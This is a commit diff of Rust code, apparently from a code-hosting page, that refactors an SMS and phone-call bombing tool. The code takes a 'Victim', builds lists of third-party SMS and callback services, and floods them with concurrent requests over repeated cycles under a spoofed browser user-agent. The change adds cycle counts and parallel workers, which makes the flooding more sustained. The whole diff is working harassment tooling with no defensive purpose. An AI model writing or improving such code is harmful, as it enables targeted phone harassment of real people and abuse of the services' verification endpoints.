1
1
use crate :: services:: {
2
- construct_call_services_list, construct_services_list, BodyType , Service , ServiceType , Victim ,
2
+ construct_call_services_list, construct_services_list, BodyType , Service , Victim ,
3
3
} ;
4
+ use futures:: future:: join_all;
4
5
use reqwest:: { Client , Method } ;
5
6
use std:: time:: Duration ;
6
7
7
- const CALL_DELAY : u8 = 15 ;
8
+ const SERVICES_DELAY : u64 = 15 ;
9
+ const CALL_SERVICES_DELAY : u64 = 30 ;
8
10
9
- /// Вы бы знали как мне стыдно за такой колхозинг, но надеюсь это на время
10
- pub async fn send ( victim : Victim ) -> Result < ( ) , Box < dyn std:: error:: Error > > {
11
- let mut s = Vec :: new ( ) ;
11
+ pub async fn send ( victim : Victim , cycles : u64 ) {
12
+ let mut workers = Vec :: new ( ) ;
12
13
13
- let services = construct_services_list ( victim. clone ( ) ) ;
14
- for service in services {
15
- let t = tokio:: spawn ( async move {
16
- send_single ( service) . await . expect ( "" ) ;
17
- } ) ;
18
- s. push ( t) ;
19
- }
20
-
21
- let services = construct_call_services_list ( victim) ;
22
- let t = tokio:: spawn ( async move {
23
- for service in services {
24
- for i in 0 ..CALL_DELAY {
25
- println ! ( "Waiting {} seconds before calling" , CALL_DELAY - i) ;
14
+ let victim_clone = victim. clone ( ) ;
15
+ workers. push ( tokio:: spawn ( async move {
16
+ for i in 0 ..cycles {
17
+ let services = construct_services_list ( victim_clone. clone ( ) ) . await ;
18
+ let services_futures: Vec < _ > = services
19
+ . into_iter ( )
20
+ . map ( |item| tokio:: spawn ( send_single ( item) ) )
21
+ . collect ( ) ;
26
22
27
- tokio:: time:: sleep ( Duration :: from_secs ( 1 ) ) . await ;
23
+ join_all ( services_futures) . await ;
24
+ if i < cycles - 1 {
25
+ tokio:: time:: sleep ( Duration :: from_secs ( SERVICES_DELAY ) ) . await ;
28
26
}
29
- println ! ( ) ;
30
-
31
- send_single ( service. clone ( ) ) . await . expect ( "" ) ;
32
27
}
33
- } ) ;
34
- s. push ( t) ;
28
+ } ) ) ;
35
29
36
- for i in s {
37
- i. await ?;
38
- }
30
+ workers. push ( tokio:: spawn ( async move {
31
+ for i in 0 ..cycles {
32
+ let call_services = construct_call_services_list ( victim. clone ( ) ) . await ;
33
+ let call_services_futures: Vec < _ > = call_services
34
+ . into_iter ( )
35
+ . map ( |item| async move {
36
+ send_single ( item) . await ;
37
+ tokio:: time:: sleep ( Duration :: from_secs ( CALL_SERVICES_DELAY ) ) . await ;
38
+ } )
39
+ . collect ( ) ;
39
40
40
- Ok ( ( ) )
41
+ for call_services_handle in call_services_futures {
42
+ call_services_handle. await ;
43
+ }
44
+ if i < cycles - 1 {
45
+ tokio:: time:: sleep ( Duration :: from_secs ( CALL_SERVICES_DELAY ) ) . await ;
46
+ }
47
+ }
48
+ } ) ) ;
49
+
50
+ join_all ( workers) . await ;
41
51
}
42
52
43
- async fn send_single ( service : Service ) -> Result < ( ) , Box < dyn std :: error :: Error > > {
53
+ async fn send_single ( service : Service ) {
44
54
let client = Client :: builder ( )
45
55
. user_agent ( "Mozilla/5.0 (X11; Linux x86_64; rv:129.0) Gecko/20100101 Firefox/129.0" )
46
- . cookie_store ( true )
47
56
. default_headers ( service. headers )
48
57
. build ( )
49
58
. expect ( "" ) ;
50
59
51
- match service. service_type {
52
- ServiceType :: Sms => println ! ( "Sending SMS {}" , service. name) ,
53
- ServiceType :: Call => println ! ( "Calling {}" , service. name) ,
54
- ServiceType :: ServiceMessage => println ! ( "Sending service SMS {}" , service. name) ,
55
- }
56
-
57
60
let mut res;
58
61
match service. method {
59
62
Method :: GET => res = client. get ( service. url ) ,
@@ -65,9 +68,12 @@ async fn send_single(service: Service) -> Result<(), Box<dyn std::error::Error>>
65
68
BodyType :: Form => res = res. form ( & service. body ) ,
66
69
}
67
70
68
- let res = res. send ( ) . await ?;
69
- println ! ( "{}: {}" , res. status( ) , res. text( ) . await ?) ;
70
- println ! ( "{} sent\n " , service. name) ;
71
-
72
- Ok ( ( ) )
71
+ println ! ( "Starting {}" , service. name) ;
72
+ let res = res. send ( ) . await . expect ( "" ) ;
73
+ println ! (
74
+ "{} {}\n {}\n " ,
75
+ service. name,
76
+ res. status( ) ,
77
+ res. text( ) . await . unwrap( )
78
+ ) ;
73
79
}
0 commit comments